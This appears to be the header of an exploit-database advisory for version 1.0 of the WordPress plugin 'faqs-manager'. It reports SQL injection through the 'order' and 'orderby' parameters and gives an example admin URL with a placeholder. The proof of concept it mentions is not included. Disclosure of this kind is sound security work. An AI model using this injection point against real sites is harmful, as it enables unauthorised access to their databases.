# Vendor Homepage: http://wordpress.org/extend/plugins/faqs-manager/
# Software Link: http://downloads.wordpress.org/plugin/faqs-manager.zip
# Version: 1.0

# Description:
##############
# The "order" and "orderby" parameter is vulnerable for SQL Injection
# Example URL: http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=3Din=
ic_faq&orderby=3D<sqli>
# PoC take some time to finish (15min on my Testsystem).
# I could speed it up with Multithreading but I'm to lazy right now
